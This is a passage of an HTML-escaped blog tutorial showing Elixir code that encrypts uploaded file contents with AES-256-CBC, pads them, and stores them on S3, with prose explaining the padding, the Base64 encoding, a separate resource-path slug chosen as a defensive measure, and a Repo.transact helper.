&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;      &lt;span style=&quot;color: #ff7b72;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;current_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;resource_path&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;filename&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;content_type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;iv&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;           &lt;span style=&quot;color: #e6edf3;&quot;&gt;encrypted_content&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;encrypt&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;byte_content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;iv&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;           &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_result&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;upload&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;encrypted_content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;      &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;current_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;resource_path&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;filename&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;content_type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;iv&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Files&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;owner_id: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;current_user&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;resource_path: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;resource_path&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;filename: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;filename&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;content_type: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;content_type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;encryption_iv: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iv&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;encrypt&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;iv&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;key&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Base&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;decode64!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;iv&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Base&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;decode64!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iv&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;content&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;content&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Base&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;encode64&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;pad&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;:aes_256_cbc&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;:crypto&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;crypto_one_time&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;iv&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Base&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;encode64&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;40&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;41&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;42&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;upload&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;encrypted_content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;43&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_bucket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;44&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;ExAws.S3&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_object&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;resource_path&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;encrypted_content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;45&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;ExAws&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;region: &lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_region&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;46&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;47&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;48&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;pad&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;block_size&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;\\&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;49&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;to_add&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;block_size&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;rem&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;byte_size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;block_size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;50&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;data&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;duplicate&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;to_add&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;to_add&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;51&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;52&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;53&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_bucket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Application&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:demo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:aws_file_bucket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;54&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_region&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Application&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:demo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:aws_file_bucket_region&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;55&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, let&apos;s go through the code from top to bottom. In the &lt;code&gt;call/4&lt;/code&gt; function, we first assemble all necessary fields to create a &lt;code&gt;File&lt;/code&gt;-schema. We generate a new encryption salt and a random &lt;code&gt;resource_path&lt;/code&gt;. Note that the slug used in the &lt;code&gt;resource_path&lt;/code&gt; isn&apos;t the same as the &lt;code&gt;file.slug&lt;/code&gt;. This is a choice that I&apos;ve made here deliberately. Imagine that an attacker gains access to your S3 bucket filenames. They might use the slug in the filename to try to fetch the files from the &lt;code&gt;GET /files/&amp;lbrace;file_slug&amp;rbrace;&lt;/code&gt; route. If we use the same slug for the resource path and the &lt;code&gt;file.slug&lt;/code&gt; field, they might succeed. But, if we have two different slugs, their requests to this route will return &lt;code&gt;404&lt;/code&gt;. So, yet another layer of security.&lt;/p&gt;
&lt;p&gt;Now, with these variables, we first create a new &lt;code&gt;File&lt;/code&gt;-record, encrypt its contents, and upload them to S3. The interesting part here is the encryption, so let&apos;s look at that in more detail.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;encrypt/3&lt;/code&gt; function first decodes the encryption key and salt from their Base64 encoding. Remember that we store these fields always as &lt;code&gt;base64&lt;/code&gt; to prevent byte loss. That&apos;s why we also encode the raw byte content to base64 first so that S3 doesn&apos;t lose any bytes either. After that, we add some padding to the encoded content. The padding is necessary, because our encryption algorithm needs an input that is divisible by its block size of 16 bytes. If we have content that isn&apos;t divisible by 16, our &lt;a href=&quot;https://stackoverflow.com/questions/50623417/how-to-do-aes-256-ecb-encryption-in-elixir&quot;&gt;encryption and decryption might fail&lt;/a&gt; and our data is lost.&lt;/p&gt;
&lt;p&gt;In our case, we &lt;strong&gt;always&lt;/strong&gt; add padding. Even if the content is exactly a multiple of 16, we still add another block of padding of 16 bytes. Otherwise, it would be hard to figure out whether our last byte is the amount of padding we added, or belongs to the actual data.&lt;/p&gt;
&lt;p&gt;After we padded the data, we encrypt it using the &lt;code&gt;:crypto.crypto_one_time/5&lt;/code&gt; function, which is the replacement for the old &lt;a href=&quot;https://www.erlang.org/doc/apps/crypto/new_api.html&quot;&gt;block_encrypt/3&lt;/a&gt; function. We encode the result to &lt;code&gt;Base64&lt;/code&gt; again to store it on S3. The &lt;code&gt;true&lt;/code&gt; parameter means that we&apos;re &lt;code&gt;encrypting&lt;/code&gt; and not &lt;code&gt;decrypting&lt;/code&gt; (which would be &lt;code&gt;false&lt;/code&gt;). The rest is pretty straightforward. We use &lt;code&gt;ExAws.S3&lt;/code&gt; to upload the file to its &lt;code&gt;resource_path&lt;/code&gt; and finally return &lt;code&gt;&amp;lbrace;:ok, file&amp;rbrace;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now, you might have noticed the unusual &lt;code&gt;Repo.transact/2&lt;/code&gt; function, which wraps the creation of the &lt;code&gt;File&lt;/code&gt;-record and the uploading of the file to S3. This function is a handy wrapper which &lt;a href=&quot;https://twitter.com/tomkonidas&quot;&gt;Tom Konidas&lt;/a&gt; wrote about &lt;a href=&quot;https://tomkonidas.com/repo-transact/&quot;&gt;here&lt;/a&gt;. It&apos;s a neat helper function around &lt;code&gt;Repo.transction/1&lt;/code&gt; that handles the return for us. It looks like this:&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#repotransact2&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;repotransact2&quot;&gt;&lt;/a&gt;Repo.transact/2&lt;/h3&gt;
&lt;pre id=&quot;code-block-11&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Taken from &lt;/span&gt;&lt;span style=&quot;color: #79c0ff; text-decoration: underline;&quot;&gt;https://tomkonidas.com/repo-transact/&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Repo&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;transact&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;fun&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;\\&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;transaction&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;      &lt;span style=&quot;color: #ff7b72;&quot;&gt;fn&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
